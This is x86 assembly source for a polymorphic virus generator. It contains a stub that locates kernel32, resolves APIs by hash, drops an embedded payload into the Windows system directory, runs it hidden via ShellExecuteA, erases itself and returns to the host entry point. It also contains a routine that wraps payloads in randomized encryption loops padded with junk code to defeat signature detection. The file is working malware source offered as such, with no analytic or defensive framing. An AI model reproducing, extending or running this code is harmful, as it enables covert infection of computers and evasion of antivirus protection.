; Polymorphic Virus Generator
; #########################################################################

.data
        TheOpcodes      db      0E8h, 000h, 000h, 000h, 000h
                        db      058h
                        db      08Bh, 0F0h
                        db      08Bh, 0FEh
                        db      0B9h

.code

; Fake proc
VirCodeProc proc
@vir_code_begin::

@code_begin:
        ; Get kernel handle
        assume  fs: nothing
        xor     eax, eax
        mov     edi, fs: dword ptr[eax]
        dec     eax

        mov     ecx, eax
        repnz scasd
        scasd
        mov     ebx, [edi]
        xor     bx, bx

@@:
        cmp     word ptr[ebx], 'ZM'
        jz      @inside_kernel32
        sub     ebx, 10000h
        jmp     @B
@inside_kernel32:

        call    $+5
        pop     ebp
        jmp     @skip_data
@ebp_ptr:
        dd 03b704017h ; CloseHandle             +0
        dd 0453ace16h ; CreateFileA             +4
        dd 077cca384h ; GetSystemDirectoryA     +8
        dd 01db55991h ; WriteFile               +12
        dd 047216310h ; LoadLibraryA            +16
        dd 04fc8d9a2h ; GetProcAddress          +20
        dd 044db6612h ; lstrcatA                +24
        dd 0b5dafe83h ; SetFileAttributesA      +28
        dd 0          ; +32
@add_name_str:        ; +36
        ;szBglRealNameR
@shell_32_str:
        db "shell32.dll",0
@shell_exec_str:
        db "ShellExecuteA",0
@shell_open:
        db "open",0
@skip_data:
        add     ebp, 3

        ; Get functions
        mov     edx, [ebx+3ch]          ; PE        
        mov     esi, [ebx+edx+78h]      ; Export Table RVA   
        lea     esi, [ebx+esi+18h]      ; Export Table VA+18h
        lodsd
        xchg    eax, ecx                ; NumberOfNames
        lodsd                           ; AddressOfFunctions
        push    eax
        lodsd                           ; AddressOfNames
        add     eax, ebx
        xchg    eax, edx
        lodsd                           ; AddressOfNameOrdinals
        add     eax, ebx
        push    eax

        mov     esi, edx
@next_func:
        lodsd
        add     eax, ebx

        ; Hash
        mov     edx, 0f1e2d3c4h

        push    ebx
@calc_hash:
        mov     ebx, edx
        shl     edx, 5
        shr     ebx, 27
        or      edx, ebx
        movzx   ebx, byte ptr[eax]
        inc     eax
        add     edx, ebx
        test    ebx, ebx
        jnz     @calc_hash
        pop     ebx

        ; Get offset to ordinal
        mov     eax, [esp]              ; AddressOfNameOrdinals
        add     dword ptr[esp], 2       ; Move to next ordinal word

        mov     edi, ebp
@scan_dw_funcs:
        cmp     dword ptr[edi], edx

        .IF     ZERO?
                ; Function found
                movzx   eax, word ptr[eax]      ; Name ordinal
                shl     eax, 2                  ; Multiply by 4
                add     eax, dword ptr[esp+4]
                add     eax, ebx
                mov     eax, dword ptr[eax]
                add     eax, ebx
                stosd
        .ELSE
                ; Skip hash
                scasd
        .ENDIF
        cmp     dword ptr[edi], 0
        jnz     @scan_dw_funcs
        loop    @next_func

        sub     esp, 1026-8
        mov     ebx, esp

        ; GetSystemDirectory
        push    MAX_PATH+1
        push    ebx
        call    dword ptr[ebp+8]

        ; lstrcat
        mov     eax, ebp
        add     eax, @add_name_str-@ebp_ptr
        push    eax
        push    ebx
        call    dword ptr[ebp+24]

        ; Set file attributes
        push    FILE_ATTRIBUTE_NORMAL
        push    ebx
        call    dword ptr[ebp+28]

        ; Create file
        push    0
        push    FILE_ATTRIBUTE_NORMAL
        push    CREATE_ALWAYS
        push    NULL
        push    0
        push    GENERIC_WRITE
        push    ebx
        call    dword ptr[ebp+4]

        mov     edi, eax
        inc     eax
        jz      @cant_create_file

        ; WriteFile
        push    0
        mov     eax, ebp ; Ovewrites CreateFile
        add     eax, 4
        push    eax
        mov     eax, ebp
        add     eax, @f_to_write-@ebp_ptr
        mov     esi, dword ptr[eax]
        push    esi
        add     eax, 4
        push    eax
        push    edi
        call    dword ptr[ebp+12]

        ; CloseHandle
        push    edi
        call    dword ptr[ebp]

        ; Check if entire file was written
        cmp     dword ptr[ebp+4], esi
        jnz     @cant_create_file

        ; Execute file

        ; Load shell32.dll
        mov     eax, ebp
        add     eax, @shell_32_str-@ebp_ptr
        push    eax        
        call    dword ptr[ebp+16]

        ; GetProcAddress(ShellExecuteA)
        mov     edx, ebp
        add     edx, @shell_exec_str-@ebp_ptr
        push    edx
        push    eax
        call    dword ptr[ebp+20]

        ; ShellExecute()
        push    SW_HIDE
        push    NULL
        push    NULL
        push    ebx
        mov     edx, ebp
        add     edx, @shell_exec_str-@shell_open
        push    edx
        push    0
        call    eax

@cant_create_file:
        add     esp, 1026

        ; Erase file data
        mov     eax, ebp
        add     eax, @f_to_write-@ebp_ptr
        mov     ecx, dword ptr[eax]
        add     ecx, 4
        mov     edi, eax
        xor     eax, eax
        rep stosb

        ; Erase virus code
        mov     edi, ebp
        sub     edi, @ebp_ptr-@code_begin
        mov     ecx, @code_end-@code_begin
        xor     eax, eax
        rep stosb
@code_end:
        popf

        ; Jump to OEP
        push    012345678h
        not     dword ptr[esp]
        retn
@f_to_write:
@vir_code_end::
VirCodeProc endp

WriteJunk proc
        invoke  Rand, 2
        .IF     !eax
                ; Jump through junk
                invoke  Rand, 20
                inc     eax
                xor     ecx, ecx
                mov     cl, al
                mov     al, 0ebh
                stosb
                mov     al, cl
                stosb
        @l:
                push    ecx
                invoke  Rand, 250
                stosb
                pop     ecx
                loop    @l
        .ELSE
                ; NOPs
                invoke  Rand, 10
                inc     eax
                mov     ecx, eax
                mov     al, 90h
                rep stosb
        .ENDIF
        ret
WriteJunk endp

MoreJunk proc
        invoke  Rand, 3
        .IF     eax
                mov     ecx, eax
        @l:
                push    ecx
                invoke  WriteJunk
                pop     ecx
                loop    @l
        .ENDIF
        ret
MoreJunk endp

; Returns: eax - pointer, ecx - length
GenVirCode proc uses esi edi ebx lpData, dwDataLen: DWORD
        LOCAL   loop_code_encr[128]: BYTE
        LOCAL   loop_code_decr[128]: BYTE
        LOCAL   loop_len, real_loop_len: DWORD
        LOCAL   nop_count1, nop_count2: DWORD
        LOCAL   rand_add_code: DWORD

        ; Alloc resulting buffer
        mov     eax, dwDataLen
        add     eax, 2048
        invoke  GlobalAlloc, GMEM_FIXED, eax
        mov     edi, eax
        mov     ebx, edi

        ; pushf
        mov     ax, 09C66h
        stosw

        ; Initial junk
        invoke  MoreJunk

        ; Some junk nops inside decrypt loop
        invoke  Rand, 4
        mov     nop_count1, eax
        invoke  Rand, 3
        mov     nop_count2, eax
        invoke  Rand, 8
        .IF     eax == 4
                xor     eax, eax
        .ENDIF
        mov     rand_add_code, eax

        ; Create crypt/decrypt loops
        invoke  Rand, 20
        add     eax, 2
        mov     loop_len, eax
        push    esi
        push    edi

        mov     real_loop_len, 1
        lea     esi, loop_code_encr
        lea     edi, loop_code_decr
        mov     byte ptr[esi], 0ach
        inc     esi
        mov     byte ptr[edi], 0ach
        inc     edi

        add     esi, 120

@l:
        invoke  Rand, 5
        .IF     eax == 0
                ; rol   al, xx
                invoke  Rand, 50
                sub     esi, 3
                mov     word ptr[esi], 0c0c0h
                mov     byte ptr[esi+2], al

                mov     word ptr[edi], 0c8c0h
                mov     byte ptr[edi+2], al
                add     edi, 3

                add     real_loop_len, 3
        .ELSEIF eax == 1
                ; nop
                dec     esi
                mov     byte ptr[esi], 90h
                mov     byte ptr[edi], 90h
                inc     edi

                inc     real_loop_len
        .ELSEIF eax == 2
                ; ror   al, xx
                invoke  Rand, 50
                mov     word ptr[edi], 0c0c0h
                mov     byte ptr[edi+2], al
                add     edi, 3

                sub     esi, 3
                mov     word ptr[esi], 0c8c0h
                mov     byte ptr[esi+2], al

                add     real_loop_len, 3
        .ELSEIF eax == 3
                ; rol   al, cl
                mov     word ptr[edi], 0c0d2h
                add     edi, 2

                sub     esi, 2
                mov     word ptr[esi], 0c8d2h
                add     real_loop_len, 2
        .ELSE
                ; xor   al, xx
                invoke  Rand, 50
                sub     esi, 2
                mov     byte ptr[esi], 34h
                mov     byte ptr[esi+1], al

                mov     byte ptr[edi], 34h
                mov     byte ptr[edi+1], al
                add     edi, 2

                add     real_loop_len, 2
        .ENDIF        
        dec     loop_len
        jnz     @l

        ; Move crypt code to beginning of the array
        push    edi
        lea     edi, loop_code_encr
        inc     edi
        mov     ecx, real_loop_len
        dec     ecx
        rep movsb
        pop     edi

        lea     esi, loop_code_encr
        add     esi, real_loop_len

        mov     byte ptr[esi], 0aah
        inc     esi
        mov     byte ptr[edi], 0aah
        inc     edi

        mov     eax, real_loop_len
        not     eax        
        sub     eax, 2
        mov     byte ptr[esi], 0e2h
        mov     byte ptr[esi+1], al
        mov     byte ptr[esi+2], 0c3h
        mov     byte ptr[edi], 0e2h
        mov     byte ptr[edi+1], al
        mov     byte ptr[edi+2], 0c3h
        pop     edi
        pop     esi

        add     real_loop_len, 3

        ; call  $+5
        mov     esi, offset TheOpcodes
        mov     ecx, 5
        rep movsb

        ; pop   xxx
        xor     eax, eax
        lodsb
        add     eax, rand_add_code
        stosb

        ; nops1
        mov     ecx, nop_count1
        mov     al, 90h
        rep stosb

        ; add   xxx, 999
        mov     ecx, nop_count1
        add     ecx, nop_count2
        add     ecx, real_loop_len
        add     ecx, 13
        mov     al, 83h
        stosb
        mov     eax, 0c0h
        add     eax, rand_add_code
        stosb
        mov     al, cl
        stosb

        ; nops2
        mov     ecx, nop_count2
        mov     al, 90h
        rep stosb

        ; mov   esi, xxx
        movsb
        xor     eax, eax
        lodsb
        add     eax, rand_add_code
        stosb

        ; mov   edi, esi
        movsw

        ; mov   ecx, xxx
        movsb
        mov     eax, dwDataLen
        stosd

        ; Write decryption loop
        lea     esi, loop_code_decr
        mov     ecx, real_loop_len
        rep movsb

        ; Encrypt data
        push    edi
        mov     esi, lpData
        mov     edi, esi
        mov     ecx, dwDataLen
        lea     eax, loop_code_encr
        call    eax

        ; Write data
        mov     esi, lpData
        pop     edi
        mov     ecx, dwDataLen
        rep movsb

        ; Get length of the data to write
        mov     ecx, edi
        sub     ecx, ebx

        mov     eax, ebx
        ret
GenVirCode endp
